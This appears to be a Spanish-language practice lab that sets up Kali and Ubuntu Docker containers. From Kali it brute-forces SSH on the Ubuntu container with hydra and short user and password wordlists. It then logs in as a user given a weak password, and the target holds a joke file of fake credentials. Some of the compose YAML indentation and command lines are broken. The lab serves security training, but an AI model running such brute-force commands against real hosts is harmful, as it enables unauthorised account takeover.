Escenario1

Docker-compose

```
version: '3'
services:
  kali-linux:
   image: kalilinux/kali-rolling
    container_name: kali-container
    tty: true
    stdin_open: true
   command: /bin/bash
    networks:
     - mynetwork
  ubuntu:
    image: ubuntu
    container_name: ubuntu-container
    tty: true
    stdin_open: true
    command: /bin/bash
    networks:
      - mynetwork
    depends_on:
      - kali-linux
networks:
  mynetwork:
    driver: bridge
```

```
docker-compose up -d
```

Kali-container

```
docker exec -ti kali-container /bin/sh

apt update

apt install -y nano

apt install -y openssh-server openssh-client service ssh start
```

```
apt install -y hydra
 nano users.txt
 nano passwords.txt
 #nano users.txt
 admin
 administrador
 user
 usuario
 root
 mario
 pablo
 cristian
 #nano passwords.txt
 12345678
 admin
 mypass
 abc123.
 password
Una vez hecho el apartado "Ubuntu-container"
 hydra -L ./users.txt -P passwords.txt ea707459946d -t 4 ssh
ea707459946d corresponde con el hostname de ubuntu-container en este caso.
 ssh mario@ea707459946d
 #abc123.
Ubuntu-container
 bash
```

```
docker exec -ti ubuntu-container /bin/sh

apt update

apt install -y nano

apt install -y openssh-server openssh-client service ssh start
```

```
useradd mario -s /bin/bash -m
passwd mario
#abc123.
```

```
mkdir /home/mario/secreto
nano /home/mario/secreto/contraseñas.txt
# te la creiste ;)
ip 192.168.0.10
    #users -> #passwords
    eric_cartman -> southpark1
    stan_marsh -> southpark2
    kenny_mccormick -> southpark3
    kyle_broflovsky -> southpark4
```